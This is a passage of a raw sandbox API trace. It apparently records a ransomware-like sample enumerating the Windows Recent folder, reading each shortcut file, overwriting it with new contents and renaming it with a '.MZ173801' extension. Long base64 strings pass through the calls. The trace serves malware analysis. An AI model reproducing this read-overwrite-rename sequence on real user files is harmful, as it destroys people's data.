ftLastAccessTime.dwLowDateTime=0xdf1cd1c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf1cd1c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="3U4GKOu3Uky7Fn.lnk", cAlternateFileName="3U4GKO~1.LNK")) returned 1 [0120.607] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.607] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.607] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3U4GKOu3Uky7Fn.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\3u4gkou3uky7fn.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf1cd1c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf1cd1c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf1cd1c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf38)) returned 1 [0120.609] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.609] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.610] GetCurrentThreadId () returned 0x9fc [0120.610] GetCurrentThreadId () returned 0x9fc [0120.610] GetCurrentThreadId () returned 0x9fc [0120.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0120.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0120.612] GetCurrentThreadId () returned 0x9fc [0120.612] GetCurrentThreadId () returned 0x9fc [0120.612] GetCurrentThreadId () returned 0x9fc [0120.612] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3U4GKOu3Uky7Fn.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\3u4gkou3uky7fn.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.612] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.612] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.612] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xf38 [0120.612] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.612] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xf38, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xf38, lpOverlapped=0x0) returned 1 [0120.613] CloseHandle (hObject=0x288) returned 1 [0120.613] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3U4GKOu3Uky7Fn.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\3u4gkou3uky7fn.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.614] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xf38, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xf38, lpOverlapped=0x0) returned 1 [0120.615] CloseHandle (hObject=0x288) returned 1 [0120.617] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3U4GKOu3Uky7Fn.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\3u4gkou3uky7fn.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3U4GKOu3Uky7Fn.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\3u4gkou3uky7fn.lnk.mz173801")) returned 1 [0120.618] GetCurrentThreadId () returned 0x9fc [0120.618] GetCurrentThreadId () returned 0x9fc [0120.618] GetCurrentThreadId () returned 0x9fc [0120.618] GetCurrentThreadId () returned 0x9fc [0120.618] GetCurrentThreadId () returned 0x9fc [0120.618] GetCurrentThreadId () returned 0x9fc [0120.618] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdee3b0c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdee3b0c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdee3b0c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x207d, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="4 no16yO 0.lnk", cAlternateFileName="4NO16Y~1.LNK")) returned 1 [0120.618] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.618] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.618] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4 no16yO 0.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\4 no16yo 0.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdee3b0c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdee3b0c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdee3b0c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x207d)) returned 1 [0120.620] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.620] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5N